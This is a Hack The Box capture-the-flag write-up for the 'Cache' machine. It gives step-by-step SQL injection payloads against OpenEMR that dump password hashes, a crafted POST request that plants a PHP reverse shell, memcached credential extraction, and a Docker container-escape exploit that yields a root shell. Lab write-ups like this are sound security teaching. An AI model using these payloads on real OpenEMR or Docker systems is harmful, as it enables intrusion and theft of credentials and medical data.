0. Preface

I think this was the second box I completed on HTB. I’ve come a pretty long way since then.

Pretty fun box, especially with the OpenEMR exploits that you could do. I didn’t know about the memcached service before doing this box either. The Docker privilege escalation path was interesting, but it took a little while for me to wrap my head around how to do it.

In this box, we will be tackling:

  1. Careful reading
  2. Enumeration with SQL Injection on OpenEMR
  3. Getting a reverse shell with an OpenEMR CVE
  4. Looking through memcached service
  5. Exploiting Docker containers to get a root shell

1. Preliminary NMAP Scan

sudo nmap -sC -sV -oN nmap.txt -v
# Nmap 7.80 scan initiated Thu Jul 16 00:40:08 2020 as: nmap -sC -sV -v -oN nmap.txt
Increasing send delay for from 0 to 5 due to 77 out of 255 dropped probes since last increase.
Nmap scan report for
Host is up (0.20s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 16 00:40:47 2020 -- 1 IP address (1 host up) scanned in 39.39 seconds

This machine is running Ubuntu, and only two ports are open on this machine.

2. Web Server Enumeration

Accessing the web server on brings us to a hacking website.


We’ll be starting off by enumerating directories using gobuster.

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt
/login.html (Status: 200)
/index.html (Status: 200)
/contactus.html (Status: 200)
/news.html (Status: 200)
/author.html (Status: 200)
/net.html (Status: 200)
/javascript (Status: 301)

Looking at author.html, we can see that the author has made another project, HMS.


We can try adding HMS.htb to our hosts file, then try accessing the website again.


We get to a page that is running OpenEMR. A quick Google search for this tells us that this is an open source Electronic Medical Records software.

Upon further searching, we find this document by Project Insecurity highlighting the flaws in OpenEMR.

The vulnerabilities were recorded in 2018, and the OpenEMR site’s copyright is in 2018 as well. There’s a good chance of this being exploitable.

Looking through the document, we find the following exploits that might be interesting to us:



First, navigate to /portal, then hit the Register button to get an “authenticated” cookie.


Next, we will try to see if the pid=1 parameter is injectable by appending a single quote to the end of it - /add_edit_event_user.php?pid=1'.


3. SQL Injection Enumeration, First Set of Credentials

Let’s do this manually instead of using sqlmap. We will begin by finding out what SQL server this is running on.

/add_edit_event_user.php?pid=1' UNION SELECT @@version,2,3,4,5 -- -


Since this box is running on Ubuntu, we can assume that it is running on MySQL.

Next, let’s get the user which is running the queries on this SQL server.

/add_edit_event_user.php?pid=1' UNION SELECT user(),2,3,4,5 -- -


Next, let’s enumerate the databases in OpenEMR.

/add_edit_event_user.php?pid=1' UNION SELECT schema_name,2,3,4,5 from information_schema.schemata -- -


We can only see one entry, so we will need to add group_concat() to the statement.

/add_edit_event_user.php?pid=1' UNION SELECT group_concat(schema_name),2,3,4,5 from information_schema.schemata -- -


From the above, we can assume that we are currently in the openemr database. Let’s try to get the list of tables under this database.

Let’s move to using Burpsuite to do the injection instead.

/add_edit_event_user.php?pid=1' UNION SELECT group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema="openemr" -- -


We managed to get the list of tables in the openemr database, but it looks to be incomplete as there seems to be a limit to how much can be shown in the field.

Let’s try refining our query to look for something a bit more obvious, like seeing if there is a user table available.

/add_edit_event_user.php?pid=1' UNION SELECT group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema="openemr" and table_name like 'user%' -- -


There’s two interesting tables here that we need to check out - users and users_secure.

Let’s start by enumerating the users table.

/add_edit_event_user.php?pid=1' UNION SELECT group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema="openemr" and table_name="users" -- -


/add_edit_event_user.php?pid=1' UNION SELECT group_concat(username),group_concat(password),3,4,5 from openemr.users -- -


Doesn’t seem like we have a password. Let’s move on to the users_secure table.

/add_edit_event_user.php?pid=1' UNION SELECT group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema="openemr" and table_name="users_secure" -- -


/add_edit_event_user.php?pid=1' UNION SELECT group_concat(username),group_concat(password),3,4,5 from openemr.users_secure -- - 


And we have successfully gotten a hash that we can crack offline with John.

sudo john --wordlist:/usr/share/rockyou.txt hash.txt
sudo john --show openemr_admin.hash

1 password hash cracked, 0 left

This nets us our first set of credentials: openemr_admin:xxxxxx

4. PHP Reverse Shell, Memcached

Now that we have credentials, let’s try logging into OpenEMR.


Let’s see the actual version of OpenEMR this is running on.


Next, let’s use searchsploit to see if we can find anything that might give us a foothold into the server itself.

We manage to find an exploit.


This exploit uses a malicious POST request to read/write files to the server. Using Burpsuite, we can send the POST request to the server to upload a PHP reverse shell.

POST /portal/import_template.php HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

mode=save&docid=lulz.php&content=<?php INSERTPHPREVERSESHELLHERE ?>

After sending the above request using Burpsuite’s repeater, we can navigate to http://hms.htb/portal/lulz.php to trigger the reverse shell.

Let’s start off with a bit of enumeration.


www-data@cache:/$ cat /etc/passwd

To do this “properly”, we are going to ignore the memcached service for now.

Taking a look at /var/www/cache.htb/jquery, we see a script that checks for usernames and passwords.

    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != 'H@v3_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;
    function checkCorrectUsername(){
        var Username = $("#username").val();
        if(Username != "ash"){
            alert("Username didn't Match");
            error_username = true;

We have our next set of credentials: ash:H@v3_fun.

Let’s first grab the user flag from ash’s home directory.


Next, let’s check out the Memcached service. This service caches data in RAM to reduce disk reads.

We can access the Memcache by using telnet localhost 11211 and enumerate the memcache service using the following:

  1. stats slabs - shows the current number of running slabs
    • a slab is a cache.
  2. stats cachedump 1 0 - this dumps all the items inside slab 1.
  3. get <ITEM> - this reveals the data held by the item.
stats slabs
STAT active_slabs 1
STAT total_malloced 1048576

stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]

get user
VALUE user 0 5

get passwd
VALUE passwd 0 9

And we have our next set of credentials, luffy:0n3_p1ec3.

5. Docker Escape Privilege Escalation

When doing enumeration earlier on we saw also in sshd_config that luffy is able to SSH to this server.


Let’s do that instead of using this reverse shell.


Do note that you will (kinda) need to be familiar with tmux in the following sections

We see that luffy is part of the docker group. Let’s first check out the version of docker by running docker -v.

luffy@cache:~$ docker -v
Docker version 18.09.1, build 4c52b90

There is yet another exploit for this. This exploit is a docker container escape exploit, which allows us privilege escalation to root using the container.

First, git clone the repository and find out the remote server’s docker0 interface IP address.


Next, change the HOST variable in payload.c to match the IP address of the docker0 interface, then make the file.


Once that is done, upload the exploit and payload binaries, as well as the pwn.sh script onto the server.



Before running the exploit, let’s first see if there are any images already present on the server.

luffy@cache:/dev/shm/null$ docker image list
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        10 months ago       64.2MB

In this case, we do not have to upload our own image to the server. We can start off by starting the ubuntu image as an interactive container using docker run -it ubuntu.

luffy@cache:/dev/shm/null$ docker run -it ubuntu
root@244232c45b0b:/# hostname
root@244232c45b0b:/# exit

Since the exploit requires us to copy files into the docker container, we will need to find out the container name using docker ps -a.

Do note that the docker container will be stopped once you exit the interactive session.

luffy@cache:/dev/shm/null$ docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS                     PORTS               NAMES
244232c45b0b        ubuntu              "/bin/bash"         11 seconds ago      Exited (0) 3 seconds ago                       eager_goodall

Next, using the command docker cp <file> <container_name>:/, we can copy the exploit files from the remote server into the docker container.

luffy@cache:/dev/shm/null$ docker cp exploit eager_goodall:/
luffy@cache:/dev/shm/null$ docker cp payload eager_goodall:/
luffy@cache:/dev/shm/null$ docker cp pwn.sh eager_goodall:/

I strongly recommend using tmux for this next section.

We will next start and attach to the docker container again using docker start <container_name> and docker attach <container_name>.


Next, run pwn.sh to start the exploit.


Using a split pane, start a netcat listener using nc -lvnp 4455. Then using yet another split pane, trigger the exploit using docker exec -it <container_name> /bin/sh.


And we have a root shell.


6. Extras

There is a very good article by Palo Alto Network’s Unit 42 that explains the above exploit in a lot of detail if you are interested in reading up more.